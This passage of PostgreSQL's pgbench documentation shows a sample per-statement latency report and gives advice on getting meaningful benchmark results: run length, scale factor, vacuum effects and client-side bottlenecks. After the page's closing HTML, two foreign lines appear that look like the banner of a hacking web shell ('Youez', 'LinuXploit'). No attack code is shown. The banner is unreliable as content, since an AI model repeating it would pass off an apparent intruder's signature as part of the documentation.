        0.001212        \set naccounts 100000 * :scale
        0.001310        \setrandom aid 1 :naccounts
        0.001073        \setrandom bid 1 :nbranches
        0.001005        \setrandom tid 1 :ntellers
        0.001078        \setrandom delta -5000 5000
        0.326152        BEGIN;
        0.603376        UPDATE pgbench_accounts SET abalance = abalance + :delta WHERE aid = :aid;
        0.454643        SELECT abalance FROM pgbench_accounts WHERE aid = :aid;
        5.528491        UPDATE pgbench_tellers SET tbalance = tbalance + :delta WHERE tid = :tid;
        7.335435        UPDATE pgbench_branches SET bbalance = bbalance + :delta WHERE bid = :bid;
        0.371851        INSERT INTO pgbench_history (tid, bid, aid, delta, mtime) VALUES (:tid, :bid, :aid, :delta, CURRENT_TIMESTAMP);
        1.212976        END;</PRE
><P>
  </P
><P
>   If multiple script files are specified, the averages are reported
   separately for each script file.
  </P
><P
>   Note that collecting the additional timing information needed for
   per-statement latency computation adds some overhead.  This will slow
   average execution speed and lower the computed TPS.  The amount
   of slowdown varies significantly depending on platform and hardware.
   Comparing average TPS values with and without latency reporting enabled
   is a good way to measure if the timing overhead is significant.
  </P
></DIV
><DIV
CLASS="REFSECT2"
><A
NAME="AEN153666"
></A
><H3
>Good Practices</H3
><P
>   It is very easy to use <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> to produce completely
   meaningless numbers.  Here are some guidelines to help you get useful
   results.
  </P
><P
>   In the first place, <SPAN
CLASS="emphasis"
><I
CLASS="EMPHASIS"
>never</I
></SPAN
> believe any test that runs
   for only a few seconds.  Use the <TT
CLASS="OPTION"
>-t</TT
> or <TT
CLASS="OPTION"
>-T</TT
> option
   to make the run last at least a few minutes, so as to average out noise.
   In some cases you could need hours to get numbers that are reproducible.
   It's a good idea to try the test run a few times, to find out if your
   numbers are reproducible or not.
  </P
><P
>   For the default TPC-B-like test scenario, the initialization scale factor
   (<TT
CLASS="OPTION"
>-s</TT
>) should be at least as large as the largest number of
   clients you intend to test (<TT
CLASS="OPTION"
>-c</TT
>); else you'll mostly be
   measuring update contention.  There are only <TT
CLASS="OPTION"
>-s</TT
> rows in
   the <TT
CLASS="STRUCTNAME"
>pgbench_branches</TT
> table, and every transaction wants to
   update one of them, so <TT
CLASS="OPTION"
>-c</TT
> values in excess of <TT
CLASS="OPTION"
>-s</TT
>
   will undoubtedly result in lots of transactions blocked waiting for
   other transactions.
  </P
><P
>   The default test scenario is also quite sensitive to how long it's been
   since the tables were initialized: accumulation of dead rows and dead space
   in the tables changes the results.  To understand the results you must keep
   track of the total number of updates and when vacuuming happens.  If
   autovacuum is enabled it can result in unpredictable changes in measured
   performance.
  </P
><P
>   A limitation of <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> is that it can itself become
   the bottleneck when trying to test a large number of client sessions.
   This can be alleviated by running <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
> on a different
   machine from the database server, although low network latency will be
   essential.  It might even be useful to run several <SPAN
CLASS="APPLICATION"
>pgbench</SPAN
>
   instances concurrently, on several client machines, against the same
   database server.
  </P
></DIV
></DIV
><DIV
CLASS="NAVFOOTER"
><HR
ALIGN="LEFT"
WIDTH="100%"><TABLE
SUMMARY="Footer navigation table"
WIDTH="100%"
BORDER="0"
CELLPADDING="0"
CELLSPACING="0"
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
><A
HREF="oid2name.html"
ACCESSKEY="P"
>Prev</A
></TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="index.html"
ACCESSKEY="H"
>Home</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><A
HREF="vacuumlo.html"
ACCESSKEY="N"
>Next</A
></TD
></TR
><TR
><TD
WIDTH="33%"
ALIGN="left"
VALIGN="top"
>oid2name</TD
><TD
WIDTH="34%"
ALIGN="center"
VALIGN="top"
><A
HREF="contrib-prog-client.html"
ACCESSKEY="U"
>Up</A
></TD
><TD
WIDTH="33%"
ALIGN="right"
VALIGN="top"
><SPAN
CLASS="APPLICATION"
>vacuumlo</SPAN
></TD
></TR
></TABLE
></DIV
></BODY
></HTML
>

Youez - 2016 - github.com/yon3zu
LinuXploit